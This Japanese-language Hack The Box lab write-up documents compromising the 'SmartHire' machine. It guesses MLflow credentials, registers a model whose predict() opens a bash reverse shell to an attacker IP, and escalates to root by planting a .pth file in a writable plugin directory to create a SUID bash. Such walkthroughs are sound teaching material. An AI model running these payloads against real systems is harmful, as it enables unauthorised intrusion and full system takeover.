HTB SmartHire writeup
Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。
Summary
Section titled “Summary”SmartHire は求人候補者の CSV をアップロードして機械学習モデルを学習、予測する Web アプリだった。HTTP は smarthire.htb に redirect し、virtual host enumeration で models.smarthire.htb が見つかる。この vhost は MLflow で Basic authentication が有効だが、admin:password が利用できた。
Web アプリ側で登録したユーザーの company と user_id から hana-95581724a925-model という MLflow registered model 名が分かる。MLflow API で同名モデルの version を作成でき、/predict が最新モデルをロードするため、mlflow.pyfunc.PythonModel の predict() に reverse shell を仕込んだモデルを登録して svcweb として shell を得た。
権限昇格では、svcweb が root として /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * を sudo 実行できた。スクリプトは site.addsitedir() で plugin directory を import path に追加しており、/opt/tools/mlflow_ctl/plugins/dev が devs group writable だったため、.pth ファイルを置いて root 権限の Python 起動時に任意コードを実行できた。
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | SmartHire |
| Platform | Hack The Box |
| OS | Linux |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”HTTP :80 | | nmap: nginx redirects to smarthire.htb vsmarthire.htb | | ffuf Host header fuzzing vmodels.smarthire.htb -> MLflow Basic auth realm | | admin:password accepted vMLflow API access | | create malicious model version for hana-95581724a925-model vsmarthire.htb /predict loads latest model | | EvilModel.predict() executes reverse shell vsvcweb shell | | sudo -l: NOPASSWD python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * vroot runs mlflowctl.py | | site.addsitedir() processes writable plugins/dev/dev.pth v/tmp/rootbash with SUID root | vroot effective shell and root.txtTarget and Nmap
Section titled “Target and Nmap”対象 IP を /etc/hosts に設定する。
10.129.245.215 smarthire.htb models.smarthire.htbsmarthire.nmap には実行コマンド行が残っていなかった。出力内容から、全 TCP port と service / OS detection を含む scan として扱う。同等の再現例は次の形になる。
nmap -p- -sV -O --traceroute -oN smarthire.nmap 10.129.245.215重要な出力:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://smarthire.htb/Running: Linux 4.X|5.XOS details: Linux 4.15 - 5.19見るべき点:
- 入口は
22/tcpと80/tcpのみ。 - HTTP title が
http://smarthire.htb/への redirect を示しているため、Host header / vhost 前提で見る。 - OS と service banner は Ubuntu 系。後続 shell では Ubuntu 22.04.5 LTS と確認できた。
- SSH は公開されているが、初期段階では credential がないため Web 側を優先する。
Web Enumeration
Section titled “Web Enumeration”Virtual Host
Section titled “Virtual Host”ffuf で Host header を fuzz すると、models subdomain が 401 を返した。
ffuf -u http://smarthire.htb \ -H "Host: FUZZ.smarthire.htb" \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \ -acmodels [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 198ms]models.smarthire.htb へ直接アクセスすると MLflow の Basic authentication が出た。
curl -I http://models.smarthire.htbHTTP/1.1 401 UNAUTHORIZEDWWW-Authenticate: Basic realm="mlflow"
You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate.この時点で、メインアプリとは別に MLflow が存在し、モデル学習機能と関係する可能性が高い。
Main Application
Section titled “Main Application”feroxbuster では /login、/register、/dashboard、/logout が確認できた。/dashboard は未認証だと /login に redirect される。
feroxbuster -u http://smarthire.htb \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \ -d 1200 GET 127l 406w 6160c http://smarthire.htb/login200 GET 131l 434w 6499c http://smarthire.htb/register200 GET 215l 875w 11255c http://smarthire.htb/302 GET 5l 22w 199c http://smarthire.htb/logout => http://smarthire.htb/login302 GET 5l 22w 199c http://smarthire.htb/dashboard => http://smarthire.htb/loginHTML の保存ファイルから、dashboard は次の endpoint を呼んでいた。
GET /model_infoPOST /upload_hiring_dataPOST /predict
smarthire.dashboard.html の CSV guide では、学習用 CSV に name、skills、experience、education、position_applied、previous_company が示されている。smarthire.predict.html では予測用 CSV に experience と skills が必要とされていた。
Authenticated Endpoint Behavior
Section titled “Authenticated Endpoint Behavior”Web UI で hana として登録、ログインした session を使うと、/model_info が MLflow model 名を返した。
curl -i -b "session=<SESSION>" http://smarthire.htb/model_infoHTTP/1.1 200 OK
{"model_info":null,"model_name":"hana-95581724a925-model","status":"success"}最小 CSV を upload すると、MLflow model version が作成された。
cat > train.csv <<'EOF'a,b,c,d1,2,3,4EOF
curl -i -b "session=<SESSION>" \ -F 'file=@train.csv;type=text/csv' \ http://smarthire.htb/upload_hiring_dataHTTP/1.1 200 OK
{"message":"Model trained and registered successfully","model_deleted":false,"model_info":{"creation_timestamp":1781969808832,"description":"No description","version":"1"},"registered_model":"hana-95581724a925-model","status":"success"}experience に文字列を入れると numeric conversion error が返った。裏側で pandas / scikit-learn 風の処理をしていることが分かる。
printf 'experience,skills\nAAAA,"Python"\n' > /tmp/bad.csv
curl -i -b "session=<SESSION>" \ -F 'file=@/tmp/bad.csv;type=text/csv' \ http://smarthire.htb/upload_hiring_dataHTTP/1.1 500 INTERNAL SERVER ERROR
{"message":"Could not convert string 'AAAA' to numeric","status":"error"}Flask Session
Section titled “Flask Session”保存された session cookie は flask-unsign --decode で読み取れた。
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'{'company': 'hana', 'user_id': '95581724a925', 'username': 'hana'}company と user_id が hana-95581724a925-model という registered model 名に反映されていた。secret key の brute force は成功していないため、ここでは cookie の改ざんではなく、アプリが正規に作成した自分のモデル名を手がかりに進める。
MLflow Enumeration
Section titled “MLflow Enumeration”Basic Authentication
Section titled “Basic Authentication”MLflow の Basic auth は、少数の候補で admin:password が有効と分かった。
for pair in \ 'admin:password' \ 'mlflow:mlflow' \ 'hana:hana' \ 'hana:95581724a925'do echo "$pair" curl -s -o /dev/null -w '%{http_code}\n' \ -u "$pair" \ http://models.smarthire.htb/api/2.0/mlflow/experiments/searchdoneadmin:password400mlflow:mlflow401hana:hana401hana:95581724a925401401 は認証失敗だが、admin:password だけは 400 になっている。これは認証は通ったが、request method や body が API 仕様に合っていない状態と判断できる。以降の MLflow API はこの credential で操作できた。
ML='http://models.smarthire.htb'AUTH='admin:password'
curl -s -u "$AUTH" \ -H 'Content-Type: application/json' \ -d '{"max_results":1000}' \ "$ML/api/2.0/mlflow/experiments/search" | jq .{ "experiments": [ { "experiment_id": "0", "name": "Default", "artifact_location": "mlflow-artifacts:/0", "lifecycle_stage": "active" } ]}Registered Model
Section titled “Registered Model”Web アプリが返した model 名を MLflow で検索すると、最新 version と artifact source が見えた。
curl -s -u "$AUTH" \ "$ML/api/2.0/mlflow/registered-models/search?max_results=1000" | jq .{ "registered_models": [ { "name": "hana-95581724a925-model", "latest_versions": [ { "version": "3", "source": "mlflow-artifacts:/0/3cef32ba4c474df78e6ec176a3a9a4e0/artifacts/model", "run_id": "3cef32ba4c474df78e6ec176a3a9a4e0", "status": "READY" } ] } ]}artifact の MLmodel から、target 側の model flavor は python_function、Python は 3.10.12、MLflow は 2.14.1、cloudpickle は 3.1.1 と分かった。
curl -s -u "$AUTH" -G \ "$ML/model-versions/get-artifact" \ --data-urlencode "name=$MODEL" \ --data-urlencode "version=3" \ --data-urlencode "path=MLmodel"flavors: python_function: cloudpickle_version: 3.1.1 loader_module: mlflow.pyfunc.model python_model: python_model.pkl python_version: 3.10.12mlflow_version: 2.14.1run_id: 3cef32ba4c474df78e6ec176a3a9a4e0ここで重要なのは、/predict が registered model の最新 version を読み込むことと、MLflow API から同じ model name に新しい version を作れることだった。実際に description:"probe" の version 4 を作ると、/model_info が version 4 を返した。
curl -s -u "$AUTH" \ -H 'Content-Type: application/json' \ -d "{ \"name\":\"$MODEL\", \"source\":\"mlflow-artifacts:/0/$RUN/artifacts/model\", \"run_id\":\"$RUN\", \"description\":\"probe\" }" \ "$ML/api/2.0/mlflow/model-versions/create" | jq .{ "model_version": { "name": "hana-95581724a925-model", "version": "4", "description": "probe", "status": "READY" }}curl -i -b "session=<SESSION>" http://smarthire.htb/model_info{"model_info":{"creation_timestamp":1781971532398,"description":"probe","version":"4"},"model_name":"hana-95581724a925-model","status":"success"}Initial Access
Section titled “Initial Access”Precondition
Section titled “Precondition”この段階で必要な条件は次の通り。
- Web アプリにログイン済みで、自分の model name が分かっている。
- MLflow API に
admin:passwordでアクセスできる。 /predictが最新 model version を load することを確認済み。- target の model 実行環境が Python 3.10 / MLflow 2.14.1 / cloudpickle 3.1.1 と分かっている。
Malicious MLflow Model
Section titled “Malicious MLflow Model”mlflow.pyfunc.PythonModel の predict() に reverse shell を仕込んだ model を作り、同じ registered model name に新 version として登録した。
import osimport mlflowimport mlflow.pyfuncfrom mlflow.tracking import MlflowClient
ML = "http://models.smarthire.htb"MODEL = "hana-95581724a925-model"
class EvilModel(mlflow.pyfunc.PythonModel): def predict(self, context, model_input, params=None): os.system("bash -c 'bash -i >& /dev/tcp/10.10.16.45/4444 0>&1'") return [99]
mlflow.set_tracking_uri(ML)mlflow.set_experiment("Default")
client = MlflowClient()
with mlflow.start_run() as run: run_id = run.info.run_id mlflow.pyfunc.log_model( artifact_path="model", python_model=EvilModel(), )
source = f"mlflow-artifacts:/0/{run_id}/artifacts/model"print("run_id:", run_id)print("source:", source)
mv = client.create_model_version( name=MODEL, source=source, run_id=run_id, description="evil")print("version:", mv.version)実行時は MLflow Basic auth を環境変数で渡した。
export MLFLOW_TRACKING_USERNAME=adminexport MLFLOW_TRACKING_PASSWORD=passwordpython3 evil_model.py最初は Python 3.12 側で作った model を target が読み込めず、/predict が次の error を返した。
{"message":"code expected at most 16 arguments, got 18","status":"error"}artifact 側で target が Python 3.10.12 だと分かっていたため、local も Python 3.10 と MLflow 2.14.1 / cloudpickle 3.1.1 に合わせて作り直した。
pip install 'mlflow==2.14.1' 'cloudpickle==3.1.1' pandaspython -c 'import mlflow, cloudpickle; print(mlflow.__version__, cloudpickle.__version__)'2.14.1 3.1.1作り直した model は version 6 として登録され、通常の prediction として実行された。
run_id: fd4fa9dab6c54d49ae885597d2700a3bsource: mlflow-artifacts:/0/fd4fa9dab6c54d49ae885597d2700a3b/artifacts/modelversion: 6Trigger Prediction
Section titled “Trigger Prediction”listener を起動してから、Web アプリの /predict に予測用 CSV を送る。
msf > use exploit/multi/handlermsf exploit(multi/handler) > run -j lhost=10.10.16.45 lport=4444printf 'experience,skills\n60,"Python, ML"\n' > predict.csv
curl -i -b "session=<SESSION>" \ -F 'file=@predict.csv;type=text/csv' \ http://smarthire.htb/predictversion 6 では predict() が動いたことを示す [99] が返った。
HTTP/1.1 200 OK
{"model_info":{"creation_timestamp":1781972540272,"description":"evil","version":"6"},"prediction":[99],"status":"success"}reverse shell 用の IP を設定し直して version 7 を登録し、再度 /predict を叩いたところ、Web 側は 502 Bad Gateway になったが shell が返った。502 は gunicorn worker 側で reverse shell 実行により request が正常終了しなかった結果と見られる。
User Shell
Section titled “User Shell”shell は svcweb として取得でき、/home/svcweb/user.txt を読めた。
ls /home/ls /home/svcwebcat /home/svcweb/user.txtsvcwebuser.txt[REDACTED]OS は Ubuntu 22.04.5 LTS だった。
cat /etc/os-releasePRETTY_NAME="Ubuntu 22.04.5 LTS"VERSION_CODENAME=jammyPrivilege Escalation
Section titled “Privilege Escalation”Sudo Rule
Section titled “Sudo Rule”sudo -l で svcweb が root として MLflow 管理スクリプトを password なしで実行できることが分かった。
sudo -lUser svcweb may run the following commands on smarthire: (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *local port も確認すると、Web app / MLflow らしき service が loopback で動いていた。
ss -antLISTEN 0 4096 127.0.0.1:5000 0.0.0.0:*LISTEN 0 2048 127.0.0.1:8000 0.0.0.0:*LISTEN 0 511 0.0.0.0:80 0.0.0.0:*LISTEN 0 128 0.0.0.0:22 0.0.0.0:*mlflowctl.py Review
Section titled “mlflowctl.py Review”対象スクリプトは root 所有で直接書けないが、plugin directory を Python site directory として追加していた。
sed -n '1,260p' /opt/tools/mlflow_ctl/mlflowctl.pyfrom pathlib import Pathimport sysimport site
BASE_DIR = Path(__file__).resolve().parentPLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importablefor path in PLUGINS_DIR.iterdir(): if path.is_dir(): site.addsitedir(str(path))
def main(): import mlflow_actions, backup_models
if len(sys.argv) < 2: print_usage()
action = sys.argv[1]
if action == "status": mlflow_actions.check_status() elif action == "backup-models": print("[*] Running backup via backup_models plugin...") backup_models.run() elif action == "restart": mlflow_actions.restart()site.addsitedir() は directory を import path に入れるだけでなく、その directory 内の .pth ファイルを処理する。.pth に import ... で始まる行があると Python 起動時に実行されるため、root で sudo 実行されるこの script では privilege escalation の入口になる。
plugin directory の権限を見ると、plugins/dev が root:devs で group writable だった。
find /opt/tools/mlflow_ctl/plugins -maxdepth 4 -printf '%M %u %g %p\n'drwxr-xr-x root root /opt/tools/mlflow_ctl/pluginsdrwxr-xr-x root root /opt/tools/mlflow_ctl/plugins/core-rw-r--r-- root root /opt/tools/mlflow_ctl/plugins/core/mlflow_actions.py-rw-r--r-- root root /opt/tools/mlflow_ctl/plugins/core/backup_models.pydrwxrwxr-x root devs /opt/tools/mlflow_ctl/plugins/devfind /opt/tools/mlflow_ctl -writable -ls131178 4 drwxrwxr-x 2 root devs 4096 May 12 15:22 /opt/tools/mlflow_ctl/plugins/dev後で得た id では svcweb は devs group に属していたため、この writable directory に .pth を置ける。
Root via .pth
Section titled “Root via .pth”.pth に root-owned SUID bash を作る 1 行を置き、sudo で mlflowctl.py status を実行して .pth を処理させた。
printf '%s\n' "import os; os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')" > /opt/tools/mlflow_ctl/plugins/dev/dev.pth
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status[*] Checking MLflow service status...
[+] MLflow service status: active[+] MLflow container status: 'Up About an hour'/tmp/rootbash が root owner の SUID binary として作成された。
ls -l /tmp/rootbash-rwsr-xr-x 1 root root 1396520 Jun 20 16:41 /tmp/rootbashbash -p は effective UID を落とさずに起動するため、root effective shell として使える。
/tmp/rootbash -pidcat /root/root.txtuid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)[REDACTED]ここで uid=1000(svcweb) は real UID、euid=0(root) は effective UID を表す。SUID bit 付きの root-owned binary を実行したため、実ユーザーは svcweb のままだが、権限チェックには root の effective UID が使われる。bash では -p を付けないと privilege を落とす挙動があるため、/tmp/rootbash -p が必要だった。
/tmp に nosuid が付いている環境ではこの方法は効かない。確認するなら次のように mount option を見る。
findmnt -no TARGET,OPTIONS /tmpこの box では /tmp/rootbash -p の euid=0(root) が確認できているため、少なくとも実行時の /tmp では SUID が有効だった。
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”flask-unsign --unsignは secret key を見つけられなかった。cookie の decode だけでcompany/user_idは分かったため、cookie 改ざんは不要だった。-b "<cookie>"のように cookie 名session=を付けずに送ると/loginへ redirect された。curlでは-b "session=<SESSION>"の形にする。filename=../../x.csvやx.php.csvで upload を試したが、model version が増えるだけで file write / path traversal にはつながらなかった。- Python 3.12 で生成した MLflow model は target の Python 3.10 と合わず、
code expected at most 16 arguments, got 18で失敗した。target のMLmodelに合わせて Python / MLflow / cloudpickle を揃える必要があった。 - Meterpreter upgrade は target platform を
bsdと誤認して失敗したが、通常 shell で十分だった。 backup-modelsaction は root で backup を作成できたが、今回の最短経路では backup の symlink や tar option を使う必要はなかった。より直接的な原因は writable plugin directory と.pthの組み合わせだった。
Cleanup Notes
Section titled “Cleanup Notes”確認できた変更点と cleanup 対象:
- MLflow registered model
hana-95581724a925-modelに追加した version:- version 4:
description:"probe" - version 5, 6, 7:
description:"evil"または reverse shell 検証用
- version 4:
- local / uploaded tooling:
evil_model.pytrain.csvpredict.csv
- target 上の一時ファイル:
/opt/tools/mlflow_ctl/plugins/dev/dev.pth/tmp/rootbash/tmp/tmp*の MLflow 一時 directory
dev.pth は svcweb で削除できた。
rm /opt/tools/mlflow_ctl/plugins/dev/dev.pth一方、/tmp/rootbash は root owner のため svcweb からは削除できなかった。
rm /tmp/rootbashrm: cannot remove '/tmp/rootbash': Operation not permitted削除するなら root effective shell から実行する。
/tmp/rootbash -p -c 'rm -f /tmp/rootbash'HTB Machine を reset / stop する場合は、生成した一時状態は破棄される。
Credentials and Artifacts
Section titled “Credentials and Artifacts”Credentials:
| 用途 | 値 | 根拠 |
|---|---|---|
| Web user | hana | Flask session decode |
| Web company | hana | Flask session decode |
| Web user_id | 95581724a925 | Flask session decode |
| MLflow Basic auth | admin:password | 401 ではなく 400 を返し、後続 API が成功 |
Model / MLflow artifacts:
| 項目 | 値 |
|---|---|
| Registered model | hana-95581724a925-model |
| Experiment | Default / experiment_id=0 |
| Observed MLflow version | 2.14.1 |
| Observed Python model runtime | Python 3.10.12 |
| Observed cloudpickle | 3.1.1 |
Flags:
| Flag | Path | Value |
|---|---|---|
| user | /home/svcweb/user.txt | [REDACTED] |
| root | /root/root.txt | [REDACTED] |
Important files on target:
| Path | 意味 |
|---|---|
/var/www/smarthire.htb | Web app working directory |
/opt/tools/mlflow_ctl/mlflowctl.py | sudo 可能な root 実行 Python script |
/opt/tools/mlflow_ctl/plugins/core/mlflow_actions.py | status / restart plugin |
/opt/tools/mlflow_ctl/plugins/core/backup_models.py | MLflow backup plugin |
/opt/tools/mlflow_ctl/plugins/dev | root:devs group writable plugin directory |
/tmp/rootbash | .pth で作成した root SUID bash |
Required Knowledge
Section titled “Required Knowledge”必要な知識:
- Virtual host enumeration
- Flask session cookie の読み取り
- MLflow tracking / model registry API
- Python pickle /
mlflow.pyfuncmodel load 時のコード実行 - Python
site.addsitedir()と.pthファイルの挙動 - Linux sudo rule と SUID binary
Final Thought
Section titled “Final Thought”この box で重要だったのは、Web アプリの表面だけで完結させず、モデル名、MLflow registry、prediction endpoint の関係をつなげて見ることだった。/model_info が返す model name と MLflow API で作れる model version が一致し、/predict が最新 version を使うと確認できた時点で、MLflow model load の危険性が initial access につながった。
権限昇格では、sudo 可能な script そのものに明白な command injection がなくても、Python の import path や site.addsitedir() の副作用まで見る必要があった。特に .pth は見落としやすいが、root で起動する Python が writable directory を site directory として処理する場合、実質的な任意コード実行になる。
覚えるポイント:
401と400の違いは認証成否の判断材料になる。- MLflow artifact の
MLmodelは target runtime の Python / dependency version を確認する根拠になる。 - Python pickle / cloudpickle 系は minor version 差で壊れるため、target runtime に合わせる。
- sudo 可能な Python script では、引数だけでなく import path、plugin directory、
.pth、environment reset の影響を見る。 - SUID shell で
euid=0を保つには/bin/bash -pが必要。

